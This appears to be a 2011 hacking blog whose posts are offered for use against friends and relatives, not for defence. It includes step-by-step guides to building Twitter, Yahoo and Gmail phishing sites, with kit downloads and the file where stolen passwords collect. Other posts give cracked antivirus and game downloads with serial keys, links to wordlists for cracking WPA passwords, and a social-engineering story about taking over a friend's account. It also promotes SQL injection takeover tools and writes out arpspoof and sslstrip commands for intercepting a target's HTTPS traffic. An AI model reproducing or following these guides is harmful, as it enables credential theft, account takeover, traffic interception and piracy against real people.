HackBrush | Lets go for hacking journey | Hack Tutorials | Hack Tools

Facebook Status Prank! [Status Update via iPhone5]

2011-12-27T13:12:00.002+02:00

This Article is for those who want to impress their friends by Updating their status by iPhone5 (It is not yet released) !

LIKE THIS

HOW TO DO THIS!?

Just Login to your Facebook Account and use the below links according to your need :

Update your Facebook Status via BlackBerry
Update your Facebook Status via BlackBerry Torch
Update your Facebook Status via iPhone 4
Update your Facebook Status via iPhone 5

Update your Facebook Status via iPadUpdate your Facebook Status via iPad 2

Update your Facebook Status via iPad 3

Update your Facebook Status via Android
Update your Facebook Status via Calculator

How TO: Record Skype Conversation Video.

2011-12-27T13:11:00.003+02:00

Evaer Video Recorder for Skype 1.2.0.17 | 5.37 MB
Record your Skype video and audio calls into AVI movies. Easy to use for your Skype video and audio interviews, conferences, podcasts, or family VoIP calls. Evaer - excellent Skype video & audio recorder features: Capture original Skype video and audio data to record with high quality. Support single video call and group video calls. Directly record Skype video calls to your hard disk with side-by-side or separate mode. Record separate MP3 audio file in the video calls is optional. Choose the video compressor by your requirement. Automatic chat reply. Easy to use with friendly UI.
Home Page -
http://evaer.com/

Download from fileserve.com
http://www.fileserve.com/file/eNvyezM/evaer_video_recorder_for_skype_1.2.0.17.rar

Making Twitter Phishing Site Tutorial

2011-12-27T13:11:00.000+02:00


Hack Twitter Tutorial.

Yah! Today is turn of Twitter. I am going to show you how to make the Twitter Phishing site, with which you can Hack any Twitter account ;)

Step 1: The First Step in Making the site is to regester an account at http://www.p4o.net/signup.php (if you have account than you can skip first 2 steps)

Step 2: Now Goto your email account that you gave and confirm your account with confirmation link

Step 3: Now Download this FILE ( http://bc.vc/JC46Q ) .

Step 4: Now Goto http://www.p4o.net/login.php and Log into your account.

Step 5: Now when you are logged into your account click on the Online File Manager under File Management.

Step 6: Now Click on the htdocs and then on Upload Button.

Step 7: Now choose the file under the Archives that you have downloaded, to be uploaded.

Step 7: Now any one who visits your site would be taken to the Fake Facebook Login Page. After they enter their Username and Password, they will be taken to another page that will show them error. So there is less chance that it will be detected.

NOTE::: To access the input data ( Usernames and Password ) Goto the Following Address:

http://www.yoursitesadress.p4o.net/lol.txt

If I am not clear in any point Please ask me in comments below.
THE DOWNLOAD LINK TO twitter.zip is http://www.mediafire.com/?dxpzo20d0fw2n8a

Making Yahoo Phishing Site [Tutorial]

2011-12-27T13:10:00.000+02:00

Hack Yahoo Accounts.

Ok friend Today I am going to show you How to Make the Yahoo! Phishing Site, with which you can easily Hack your friends and fellows, just you have to copy the following Steps.

Step 1: The First Step in Making the site is to regester an account at http://www.p4o.net/signup.php (if you have account than you can skip first 2 steps)

Step 2: Now Goto your email account that you gave and confirm your account with confirmation link

Step 3: Now Download this FILE ( http://bc.vc/ROT0C ) .

Step 4: Now Goto http://www.p4o.net/login.php and Log into your account.

Step 5: Now when you are logged into your account click on the Online File Manager under File Management.

Step 6: Now Click on the htdocs and then on Upload Button.

Step 7: Now choose the file under the Archives that you have downloaded, to be uploaded.

NOTE::: To access the input data ( Usernames and Password ) Goto the Following Address:

http://www.yoursitesadress.p4o.net/lol.txt

If I am not clear in any point Please ask me in comments below.
THE DOWNLOAD LINK TO Yahoo.zip is http://www.mediafire.com/?jawqf7dyg0iwn

Watch Any TV Show online for free. 2 [www.tv.blinkx.com]

2011-12-27T13:09:00.003+02:00

Last Time i told about a site where you can watch the TV Shows online. Article is HERE>

Today i am going to tell you people another Site where you can watch all that Stuff.

The Name of the site is : http://tv.blinkx.com/

You select any Program you want to watch and then choose the Episode and Watch it on free video streaming websites

The best way to listen FREE online Music.

2011-12-27T13:09:00.000+02:00

The best station for the online music that i have found so far is this increadable site from where you can listen any kindof music of what so ever age . ALL FOR FREE!!!.

Let it be Genre, Artist or then name of the music. This site will find and play it for you online... THE GREAT SITE IS:>
http://www.jango.com

You can also Download any song that you want by simply clicking on the button on the top left hand on

ESET NOD32 Antivirus 5 [Full] [Free] [Crack]

2011-12-27T13:07:00.000+02:00

Built on the award-winning ThreatSense engine, ESET NOD32 Antivirus proactively detects and disables more viruses, trojans, worms, adware, spyware, phishing, rootkits and other Internet threats than any program available.ESET NOD32 Antivirus provides: Proactive Protection: The award winning ThreatSense technology combines multiple layers of detection protecting you from Internet threats before it is too late.Precise Detection: ESET accurately identifies known and unknown threats. It consistently wins top awards from testing labs and is recognized for having zero false positives.1Lightweight Design: Requires less memory and CPU power, allowing your computer to run fast, making more room for games, web browsing, and emailing.Fast Scanning Speeds: Highly efficient program ensuring fast file scanning and product updates. It runs quietly in the background.Proactive, precise, lightweight and fast. You wont find a better antivirus program.

DOWNLAOD:>

http://www.megaupload.com/?d=7B83RSMM

http://bc.vc/PDIfZ

Norton Internet Security 2012 + Antivirus [Lifetime licence] [Full] [Crack]

2011-12-27T13:06:00.002+02:00

Key Technologies:
• Anti Virus
• Anti Rootkit
• Bot Protection
• Norton™ Safe Web
• Smart Firewall
• NEW! SONAR™ 2 Behavioral Protection
• NEW! Norton System Insight
• NEW! Norton Insight Network AntiSpam
• NEW! Norton Download Insight
• NEW! Norton Threat Insight
• Spyware Protection
• Identity Protection
• Pulse Updates
• Network Monitoring
• Parental Controls
• Vulnerability Protection
• NEW! Professional Strength AntiSpam
• NEW! Norton File Insight
Key Benefits:
• NEW Delivers clear threat and performance explanations—Gives you greater insight into downloaded applications and files by telling you where they came from, if they can be trusted, and how they may impact your PC’s resources and performance.
• NEW Identifies unsafe web sites right in your search results—Warns you of dangerous web sites and suspicious sellers so you can surf and shop online with confidence.
• IMPROVED! Stops online identity theft, viruses, spyware, bots and more—Guards your PC, online activities, and your identity against all types of Internet threats.
• IMPROVED! Stops attacks before they get on your PC—Proactively blocks hackers and prevents dangerous software from downloading to your computer when you surf the web.
• Uses intelligence-driven Norton Insight Network for faster, fewer, shorter scans—Detects and eliminates dangerous software with the shortest scan times of any security product.

Norton Internet Security + Norton Antivirus + Crack

Download links:

http://www.fileserve.com/file/7YevqYD/Norton.IS.AV.2012.19.part1.rar
http://www.fileserve.com/file/dEgNtVk/Norton.IS.AV.2012.19.part2.rar

Hacking Exposed 6 [ebook] [free]

2011-12-27T13:05:00.000+02:00

Hacking Exposed established this entire genre of books. Now in its 6th (and 10th anniversary) edition, and having sold millions of copies throughout the world, the book remains the #1 best-selling computer security book in the world and it is still just as useful and valuable as it ever was. Kurtz, McClure, and Scambray have once again update this highly resected title to include the latest and greatest in attacks and exploits, as well as the cutting edge countermeasures and security controls you can implement to protect your PC or your network.

DOWNLOAD LINK:> http://www.mediafire.com/?ylwsplcd7dxyw84

Admin Login Finder - Find login pages very quickly and easily!

2011-12-27T13:04:00.002+02:00

Using the ALF you can find login pages very fast. It tests about 2 urls every second, and does 200 links in less than a minute. Of course it also depends on your internet speed.

Screenshots:

VirusTotal Scans:
For v1.0.0.0 .RAR
For v1.0.0.0 .EXE

Download links:
Admin Login Finder v1.0.0.0

WPA/WEP/WPA2 Cracking Dictionary Wordlist

2011-12-27T13:02:00.002+02:00

Somedays back i got a request from my blog's reader about the WEP,WPA,WP2 or Wifi cracking Dictionary files. As all the people who have tried wireless hacking and used the cracking software, they all know that the dictionary or wordlist provided by the Software is not enough and lack alot. So following are links to the websites where you can download the wordlist for free.

http://ftp.sunet.se/pub/security/too…all/wordlists/
ftp://ftp.ox.ac.uk/pub/wordlists/
http://gdataonline.com/downloads/GDict/
ftp://ftp.openwall.com/pub/wordlists/
ftp://ftp.cerias.purdue.edu/pub/dict/
http://www.indianz.ch/tools/doc/wordlist.zip
http://www.outpost9.com/files/WordLists.html
ftp://ftp.openwall.com/pub/wordlists/passwords/
English and French: https://www.securinfos.info/wordlists_dictionnaires.php
Virtually every language: ftp://ftp.ox.ac.uk/pub/wordlists/
http://www.lostpassword.com/f/wl/bigdict.zip
http://www.lostpassword.com/f/wl/French.zip
http://www.lostpassword.com/f/wl/Spanish.zip
http://www.lostpassword.com/f/wl/German.zip
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
Cotse has possibly one of the largest collections of word lists (including French). http://www.cotse.com
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
Various language dictionaries at: http://www.openwall.com/mirrors/
ftp://dl.openwall.com/pvt/sample/

====================
Source: http://wifi0wn.wordpress.com/wepwpawpa2-cracking-dictionary/
===============

AND here is the torrent link to the biggest wordlist available on the internet. It is more then 13 GB of size and contain Billions of passwords!

Link:> http://torcache.net/torrent/6C89DF058F71559DEC6C5C7C9F2CB419182B3294.torrent?title=[kat.ph]collection.of.wordlist.dictionaries.for.cracking.wifi.wpa.wpa2

A thanks is all i need and BTW if any one of you have any request let me know!

Avira Antivirus Premium 2012 12.0.0.865 [Final] [Crack] [Serial Key]

2011-12-27T13:01:00.002+02:00

Avira AntiVir Premium reliably protects you against all threats from viruses, worms, trojans, rootkits, phishings, adware, spyware, bots and dangerous “drive-by” downloads. Best detection rates and top-class security with several updates every day. Advanced protection:
Includes basic antivirus protection PLUS: email protection (POP3), AntiPhishing, AntiSpyware, AntiAdware and more. With real-time on-access scanning, profile-based on-demand scans and scheduling of full system scanning and updates it offers premium protection. It includes a POP3 based MailScanner that scans emails before they are stored on your machine. With a user-friendly control center, quarantine management, fast performance and world leading detection rates the Avira AntiVir Premium provides essential protection for your PC.

AntiVir Personal offers effective protection against computer viruses for the individual and private use on a single PC-workstation. It detects and removes viruses and includes an Internet-Update Wizard for easy updating.

Avira presents the Premium Security Suite with Full protection: Includes basic and advanced antivirus protection, email protection, AntiPhishing, Anti-Spyware and Anti-Adware PLUS: Anti-Spam, Firewall, WebGuard (Safe Surfing), Game Mode and more.! Complete security for workstations! The repeatedly awarded and worldwide used virus and malware protection by over 30 million users now also with WebGuard!
Avira is a German antivirus software company. Its antivirus applications are based on the AntiVir antivirus engine, first launched in 1988. It was called "H+BEDV Datentechnik GmbH" when it was founded. One of the antivirus software, AntiVir Personal, is free for personal usage. Avira is launching a new, comprehensive protection package for end-users as well as small offices and home workers: the Avira Premium Security Suite is a combination of Avira’s brand-new firewall and the proven anti-virus software AntiVir Personal Premium.

Even less experienced users can cope with the numerous security threats from the Internet with the central, intuitively operated user interface of the Suite

Serials Works Till 21.1.2012 (Will Update It)

Operating systems :

Works On 32bit/64bit

Download Links :

Avira Antivirus Premium

http://premium.avira-update.com/package/wks_avira/win32/en/pepr/avira_antivirus_premium_en.exe

Serial Keys:

http://rapidshare.com/files/2339055374/Avira_New_Keys.rar

INSTRUCTIONS:

Download the Avira Premium Antivirus 2012 from there official site and open it. While installing where it ask for key upload the Any of the Avira Key that you have downloaded from here . And just let is install BUT REMEMBER TURN OFF YOUR INTERNET OTHER WISE IT WONT WORK!

BitDefender Total Security 2012 [Crack] [Free] [Final]

2011-12-27T13:00:00.002+02:00

BitDefender Total Security 2012 Build 15.0.34.1416 Final | 460MB

BitDefenderTotal Security 2012 - comprehensive protection against viruses,spyware, hacker attacks and other cyber threats that could lead toidentity theft, data loss and decreased performance. BitDefender TotalSecurity is the first among its competitors due to effective protectionagainst spam and viruses, robust firewalling and the availability oftools to optimize and backup systems in one package.
BitDefenderTotal Security 2012 provides a special kind of quiet protection regimeAutopilot: no pop-ups, no settings, does not interrupt your activityon the computer.

Antivirus, antispyware, anti-phishing, firewall -firewall, parental controls, integrated, safe social networking, remotecontrol functions. Total Security includes functions - file encryption,data backup, configure, and optimize the system.
The main components of BitDefender Total Security 2012
• Antivirus and antispyware
• Phishing
• Secure Search
• A quick scan
• Control your home network
• Encrypt chats
• Privacy in social networks
• Antsipam
• Firewall
• Parental Control
• Encryption of files
• Optimization of
• Destruction of files
• Online backup (2GB)
New in BitDefender Total Security 2012
• Autopilot
Autopilot mode provides optimum security without user intervention. That means - no pop-ups and alerts do not need to configure anything.
• Scan Manager
Scan Manager finds and uses the time intervals when the system utilization is below a certain threshold, perform repetitive inspections for your entire system. Thus, BitDefender does not interfere with user tasks and has no effect on system performance.
• Recovery Mode
If Internet-based threats such as rootkits, can not be removed as part of Windows, your computer downloads in recovery mode a trusted environment that is used for cleaning and restoration.
• Integrated cloud services
The global exchange of data in real time between the servers and BitDefender BitDefender 2012 products ensures rapid identification of emerging internet threats such as epidemics and large flows of spam.
• Synchronize the files
BitDefender Total Security 2012 offers space Safebox, which allows you to synchronize files between your computers (for example, between your desktop and laptop). Changes made in one system are automatically applied to other systems.
• Online Backup
Updated online backup monitor tracks the status of your important files and copies them instantly to a secure remote server. BitDefender Total Security 2012 comes with 2GB of online storage.
• Safety on social networks
Has a function to prevent Internet threats specific to social networks, by scanning the references received from friends from Facebook and Twitter, by controlling the privacy settings and much more.
• Customizable interface
Drag-and-drop modules that allow you to access the most frequently performed operations directly from the main window.
• Simplified installation
BitDefender Total Security 2012 is installed in a few clicks, taking up half the time required for the previous version.
On the file:
Language: English
File format: rar
Platform / OS: XP, Vista, 7

DOWNLOAD:

BITDEFENDER TOTAL SECURITY 2012 (32 Bit = 228 MB)
http://download.bitdefender.com/windows/desktop/t_security/2012/en-us/bitdefender_ts_2012_32b.exe

BITDEFENDER TOTAL SECURITY 2012 (64 Bit = 248 MB)
http://download.bitdefender.com/windows/desktop/t_security/2012/en-us/bitdefender_ts_2012_64b.exe
PATCH:

http://www.fileserve.com/file/QKv72jj

http://rapidshare.com/files/457094837/Box_BD2011_3.1.rar

http://www.wupload.com/file/7800553/Box_BD2011_3.1.rar

How to Hack Gmail account using Phishing.

2011-12-27T12:59:00.002+02:00

First I have shown you people how to set up Facebook Phishing site , In this Tutorial I will show you how to set up Gmail Phishing site, step by step with pictures.

Step 1: The First Step in Making the site is to regester an account at http://www.000webhost.com/order.php (if you have account than you can skip first 2 steps)

Step 2: Now Goto your email account that you gave and confirm your account with confirmation link

Step 3: Now Download this FILE (http://www.filesonic.com/file/4165336855/Gmail-Phishing-site.zip ) .

Step 4: Now Goto http://members.000webhost.com/ and Log into your account.

Step 5: Now when you are logged into your account click on the Go to Cpanel in front of your domain that you had registered, and then Go to File Manager under Files and log into it.

Step 6: Now Click on the Public_html.

Step 7: Now click on the Upload button, choose the file under the Archives that you have downloaded, to be uploaded.

Step 7: Now any one who visits your site would be taken to the Fake Facebook Login Page. After they enter their Username and Password, they will be taken to another page that will show them error. So there is less chance that it will be detected.

NOTE::: To access the input data ( Usernames and Password ) Goto the Following Address:

http://www.yoursitesadress.p4o.net/lol.html

If I am not clear in any point Please ask me in comments below.

THE DOWNLOAD LINK TO Gmail-phishing-site.zip is http://www.filesonic.com/file/4165336855/Gmail-Phishing-site.zip

Hacking Facebook through Social Manipulation.

2011-12-27T12:58:00.000+02:00

One the way to hack Facebook is Social Engineering, but the question asked by nearly all the people who are new to hacking scene is that "What is social Engineering and how to hack a (Facebook) account by it?"
So i decided to write this article to explain what it is and give a real life example of my own.

First lets see what Wikipedia have to say:

"Social engineering is commonly understood to mean the art of manipulating people into performing actions or divulging confidential information."

According to Hacker's Jargon Dictionary:
"Social Engineering: n. Term used among crackers and samurai for cracking

techniques that rely on weaknesses in  wetware rather than software; the aim
is to trick people into revealing passwords or other information that
compromises a target  system's security.  Classic scams include phoning up a
mark who has  the required information and posing as a field service tech or a 
fellow employee with an urgent access problem. "

So actually if you trick some one to give you the confidential information he is manipulated by you. So now its clear that our beloved Phishing is also a kind of social manipulation. This might give you the size of it!
||For those who don't know about Phishing, read this > http://hackthepc.blogspot.com/2011/03/making-facebook-phishing-site-tutorial.html||

Lets get started:

So Phishing is a way to hack and its social engineering, but what are the other ways? Well apart from this you could trick the other person to give you his password. I know this might be really difficult but once you have mastered you could really make your name. Because the most wanted hacker of all times Kevin Mithnik actually used Social manipulation to hack though he himself couldn't write his own exploit!

An easy way is to guess the password from the information given, normally people use following things as their password:

Date of birth
Surname
Phone Number
School's name
Girl Friend's name :)
Favourite Movie
Favourite Band
Favourite Hero/Heroine
Favourite Fruit! (I used one when I was young!)

These are only some, but if you know the other person very well these might work!

Another idea is to manipulate the other person in giving you the Answer to their security Question! This is what I am going to cover in Real Life Example!

"THE MAIN TRICK IS TO EXPLOIT THE TRUST BASE TO HACK!"

So it means you should exploit the trust that victim have in you to get the information, the trust could be of a friend, colleague or official (If you are pretending to be a Facebook guy who need their password).

REAL LIFE EXAMPLE:

Some months back my best friend challenged me to hack his Facebook account, unfortunately he was a reader of my blog and knew all the ways like Phishing or Keylogging. So I couldn't hack him for much time every time i tried i failed. So I though of social engineering.
What I did first was to got the primary Email Address of Facebook, I got that easily by Visiting his Profile page. The email was in Hotmail!

So I opened the Hotmail password reset page > https://account.live.com/password/reset and gave his email this gave me the following page:

Here the security Question was " Name of Best Friend from Childhood?", it seemed pretty easy so started entering the name of all his friends but to my amazement the name was someone's whom i didn't knew.

So I went to the Chat and manipulated him. Following is some text from chat:

====================================================

Me: Hello, how are you/

He: Fine. whatsup!

Me: Nothing, just getting ready for your party.

He: Ohh great, it is going to be fun!

Me: Yah i know, who else is comming?

He: Only you and [He named some which were not the answer]

Me: Hey havent you called you old friends? I wanted to meet them.
He: Nupp!!!
Me: Are in contact with them, BTW who is your best friend apart from our group?
He : Ohh my best friend apart form you people is Arslan.
Me: ohh great looking forward to the party! bye.
====================================================

So those people who don't know ARSLAN is a name and to my Good Luck it was also the password! So I hacked his email and from their I hacked his Facebook account,

Don't worry no harm was done I just showed him that i did it and returned him the account because it is unethical to hack people to harm them. Real Hackers don't do this and I for my self only hack my dearest friends (who don't mind) for fun that all for me!
So from this example you people might have learn that how easy it is to hack through Social Engineering. But ALAS! the success rate is very low, but still where nothing works this works!

SQLsus - MySql Injection Tutorial

2011-12-27T12:53:00.000+02:00

sqlsus is an open source MySQL injection and takeover tool, written in perl.

Via  a command line interface, you can retrieve the database(s) structure,  inject your own SQL queries (even complex ones), download files from the  web server, crawl the website for writable directories, upload and  control a backdoor, clone the database(s), and much more...
Whenever relevant, sqlsus will mimic a MySQL console output.


sqlsus focuses on speed and efficiency, optimising the available injection space, making the best use (I can think of) of MySQL functions.
It uses stacked subqueries and an powerful blind injection algorithm to maximise the data gathered per web server hit.

Using multithreading on top of that, sqlsus is an extremely fast database dumper, be it for inband or blind injection.

If the privileges are high enough, sqlsus will be a great help for uploading a backdoor through the injection point, and takeover the web server.

It uses SQLite as a backend, for an easier use of what has been dumped, and integrates a lot of usual features (see below) such as cookie support, socks/http proxying, https..

FEATURES

GENERAL

Both quoted and numeric injections are supported.

Databases names, tables names, columns names, count(*) per table, privileges... On MySQL > 5, the database structure can be grabbed in one command from within sqlsus.

Discovery of the exact injection space, going through all possible restrictions (web server, suhosin patch...), to inject as much as possible at once.

All quoted texts can be translated as their hex equivalent to bypass any quotes filtering (eg: magic_quotes_gpc) (eg : "sqlsus" will become 0x73716c737573).

sqlsus also supports these types of injection :

inband (UNION w/ stacked subqueries) : the result of the request will be in the HTML returned by the web server
blind (boolean-based or time-based) : when you can't see the result of the request directly

Support for GET and POST parameters injection vectors.

Support for HTTP proxy and HTTP simple authentication.

Support for HTTPS.

Support for socks proxy.

Support for cookies.

Support for binary data retrieving.

Full SQLite backend, storing queries / results as they come, databases structure, key variables. This allows you to recall a command and its cached answer, even in a later re-use of the session.

Possibility to clone a database / table / column, into a local SQLite database, and continue over different sessions.

If you can't access the information_schema database, or if it doesn't exist, sqlsus will help you bruteforce the names of the tables and columns.

Possibility to change the current database and still use all the commands transparently.

Auto-detection of the length restriction in place, be it the web server or the layer above (eg: suhosin).

INBAND

If your query is likely to return more than one row, sqlsus will use as many subqueries it can use at a time (per query), staying under a configurable limit.

Therefore, it can grab up to thousands of records in just 1 server hit (depending on the available injection space) (cf inband demo)

Once you have found an inband injection, you need to find the correct number of columns for UNION. sqlsus will do the job for you, identifying the needed number of columns, and which of them are suitable for injection.

To speed things up, multithreading (actually, multiple processes (fork)) can be used.

TAKEOVER

If the database user has the FILE privilege, and if you can use quotes in your injection (mandatory for a SELECT INTO OUTFILE), then sqlsus will help you place a php backdoor on the remote system, recursively looking for writable directories.

You can use download <file> from sqlsus shell, to download an arbitrary (world readable) file from the remote server. The file will be stored in the local filesystem, rebuilding the path tree to the file in the datadirectory.

sqlsus has the ability to crawl the website at a configurable depth, looking for all the directories it can find, via hypertext links, img links, etc... Then, it tries to upload a tiny php uploader on each candidate directory until it finds one world writable, later used to upload the backdoor itself.

All sqlsus needs (besides what has been said above) is the document_root used server side. You can find it by downloading/reading the relevant files on the web server.

It ships with a PHP backdoor you can upload and a controller, to help you execute system commands, PHP commands, and SQL queries as if you were sitting on a normal direct MySQL connection.

GETTING STARTED

Generate a configuration file with sqlsus --genconf my.cfg, read the comments and adapt it to reflect your target.

Launch sqlsus, with your configuration as a parameter sqlsus my.cfg, you will get a shell.

Type help and follow your instincts :)

=DOWNLOAD=

http://sqlsus.sourceforge.net/download.html

Sources:

http://sqlsus.sourceforge.net/documentation.html

Safe3SI- Automatic SQL Injectection Tool

2011-12-27T12:52:00.000+02:00

Introduction:

Safe3SI is one of the most powerful and easy usage penetration testing tool that automates the process of detecting and exploiting

SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the

ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database,

to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Screenshot:

Features:

Full support for http, https website.
Full support for Basic, Digest, NTLM http authentications.
Full support for GET, Post, Cookie sql injection.
Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Full support for four SQL injection techniques: blind, error-based, UNION query and force guess.
Powerful AI engine to automatic recognite injection type, database type, sql injection best way.
Support to enumerate databases, tables, columns and data.
Support to read,list and write any file from the database server underlying file system when the database software is MySQL or Microsoft SQL Server.
Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is Oracle or Microsoft SQL Server.
Support to ip domain query,web path guess,md5 crack etc.
Support for sql injection scan.

Download:

Safe3SI need to download and install:

.NET Framework 2.0 or above needed to install

Safe3SI v9.0

SQL ninja - a SQL Server injection.

2011-12-27T12:50:00.003+02:00

Introduction

Fancy going from a SQL Injection on Microsoft SQL Server to a full GUI access on the DB? Take a few new SQL Injection tricks, add a couple of remote shots in the registry to disable Data Execution Prevention, mix with a little Perl that automatically generates a debug script, put all this in a shaker with a Metasploit wrapper, shake well and you have just one of the attack modules of sqlninja!
Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.
Its main goal is to provide a remote access on the vulnerable DB server, even in a very hostile environment. It should be used by penetration testers to help and automate the process of taking over a DB Server when a SQL Injection vulnerability has been discovered.
Have a look at the flash demo and then feel free to download. It is released under the GPLv3

Features

The full documentation can be found in the tarball and also here, but here's a list of what the Ninja does:

Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
Bruteforce of 'sa' password (in 2 flavors: dictionary-based and incremental)
Privilege escalation to sysadmin group if 'sa' password has been found
Creation of a custom xp_cmdshell if the original one has been removed
Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
Direct and reverse bindshell, both TCP and UDP
ICMP-tunneled shell, when no TCP/UDP ports are available for a direct/reverse shell but the DB can ping your box
DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
Evasion techniques to confuse a few IDS/IPS/WAF
Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
Integration with churrasco.exe, to escalate privileges to SYSTEM on w2k3 via token kidnapping
Support for CVE-2010-0232, to escalate the privileges of sqlservr.exe to SYSTEM

Platforms supported

Sqlninja is written in Perl and should run on any UNIX based platform with a Perl interpreter, as long as all needed modules have been installed. So far it has been successfully tested on:

Linux
FreeBSD
Mac OS X

Sqlninja does not run on Windows and I am not planning a port in the near future

=DOWNLOAD=

Metasploit -The Penetration Tester's Guide [pdf] [Free Download]

2011-12-27T12:50:00.000+02:00

Metasploit -The Penetration Tester's Guide

The Metasploit Framework makes discovering, exploiting, and sharing vulnerabilities quick and relatively painless. But while Metasploit is used by security professionals everywhere, the tool can be hard to grasp for first-time users. Metasploit: The Penetration Tester's Guide fills this gap by teaching you how to harness the Framework and interact with the vibrant community of Metasploit contributors.
Once you've built your foundation for penetration testing, you’ll learn the Framework's conventions, interfaces, and module system as you launch simulated attacks. You’ll move on to advanced penetration testing techniques, including network reconnaissance and enumeration, client-side attacks, wireless attacks, and targeted social-engineering attacks.

Learn how to:
Find and exploit unmaintained, misconfigured, and unpatched systems
Perform reconnaissance and find valuable information about your target
Bypass anti-virus technologies and circumvent security controls
Integrate Nmap, NeXpose, and Nessus with Metasploit to automate discovery
Use the Meterpreter shell to launch further attacks from inside the network
Harness standalone Metasploit utilities, third-party tools, and plug-ins
Learn how to write your own Meterpreter post exploitation modules and scripts
You'll even touch on exploit discovery for zero-day research, write a fuzzer, port existing exploits into the Framework, and learn how to cover your tracks. Whether your goal is to secure your own networks or to put someone else's to the test, Metasploit: The Penetration Tester's Guide will take you there and beyond.

About the Author
David Kennedy is Chief Information Security Officer at Diebold Incorporated and creator of the Social-Engineer Toolkit (SET), Fast-Track, and other open source tools. He is on the Back|Track and Exploit-Database development team and is a core member of the Social-Engineer podcast and framework. Kennedy has presented at a number of security conferences including Black Hat, DEF CON, ShmooCon, Security B-Sides, and more.
Jim O'Gorman is a professional penetration tester with CSC’s StrikeForce, a co-founder of Social-Engineer.org, and an instructor at Offensive-Security. He is involved in digital investigations and malware analysis, and helped build forensic capabilities into Back|Track Linux. When not working on various security issues, Jim spends his time assisting his children in their attempts to fight Zombie hordes.
Devon Kearns is an instructor at Offensive-Security, a Back|Track Linux developer, and administrator of The Exploit Database. He has contributed a number of Metasploit exploit modules and is the maintainer of the Metasploit Unleashed wiki.
Mati Aharoni is the creator of the Back|Track Linux distribution and founder of Offensive-Security, the industry leader in security training.

Table of Contents
Chapter 1: The Absolute Basics of Penetration Testing
Chapter 2: Metasploit Basics
Chapter 3: Intelligence Gathering
Chapter 4: Vulnerability Scanning
Chapter 5: The Joy of Exploitation
Chapter 6: Meterpreter
Chapter 7: Avoiding Detection
Chapter 8: Exploitation Using Client-side Attacks
Chapter 9: Metasploit Auxiliary Modules
Chapter 10: The Social-Engineer Toolkit
Chapter 11: Fast-Track
Chapter 13: Building Your Own Module
Chapter 14: Creating Your Own Exploits
Chapter 15: Porting Exploits to the Metasploit Framework
Chapter 16: Meterpreter Scripting
Chapter 17: Simulated Penetration Test
Appendix A: Configuring Your Target Machines
Appendix B: Cheat Sheet

LINK:>http://www.megaupload.com/?d=CUX8WIFM

SSL Strip - Video Tutorial

2011-12-27T12:48:00.000+02:00

What is SSL Strip?

SSL strip is a software that is used to sniff the data over HTTPS. The sniffer read all the data in a network with 9is send between a user and the Router but no a days SSH or "HTTPS" have made it very difficult to get useful data (Like Facebook Password of your brother in other room). So here is a tools that can even intercept the data over HTTPS.

Running sslstrip

Flip your machine into forwarding mode. (echo "1" > /proc/sys/net/ipv4/ip_forward)
Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <listenPort>)
Run sslstrip. (sslstrip.py -l <listenPort>)
Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

That should do it.

How does this work?

First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).

At this point, sslstrip receives the traffic and does its magic.

VIDEO TUTORIAL

==============

DOWNLOAD

===========

http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

Angry Birds Seasons.v2.1.0 Full Crack with Serial Key

2011-12-27T12:42:00.002+02:00

Angry Birds is the Most popular game in the world at this time and really fun! But the only problem with it is that its not free you will have to buy it fr full missions so I am going to Give crack of it to you people and instructions on how to install it! (Note: Game was not cracked by me)

DOWNLOAD:
http://ul.to/sa08nhhh
http://depositfiles.com/files/iyg4n1r43
http://www.megaupload.com/?d=Z1ODDG91
http://www.mediafire.com/?4z7oazy9466zbd7

pass: senseman

INSTRUCTIONS:

After downloading follow the installation steps below

1. Double click on the exe-file to begin installation

2. Click "Next" to begin the installation process

3. Click Next to accept the End User License agreement

4.Select location where you want the game installed.
Make sure that you have enough space on the selected hard drive

5. Click Install to begin the installation process

6. Your computer can show you a security prompt. Allow the installation by clicking Yes

7. Wait for the install to Finish

8. Copy cracked exe to install directory,run the game,Register with any key,Have fun

How To: Have Custom log-on Screen in Windows 7

2011-12-27T12:41:00.005+02:00

Log-on Screen is the screen that is presented to you when you login to your computer(start it). It is really cool to have your picture or any custom picture there to impress your friends!

Tutorial:

=======

Step 1: Press "Start" and type "regidit" in "search programme and files"

Step 2: Navigate to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI\Background

Step 3: Double-click the DWORD key called OEMBackground and set the value to "1"

NOTE: if you can't see the DWORD key, just create a new one and name it as "OEMBackgrounds" and set the value to "1"

Step 4: Now put your desired photo to this folder " %windir%\system32\oobe\info\backgrounds " but keep in mind the picture should br less then 256 kb and the dimensions should be same as older picture present there.

Step 5: Now just reboot your computer and you will have the Picture :)

Hope you liked it!

How To: Make a email spoofing site.

2011-12-27T12:41:00.002+02:00

One of the most simple and effective way to scare the hell out of someone is to just spoof a email ID and send someone email form whom so ever you want.

Those who don't know about the Email Spoofing:

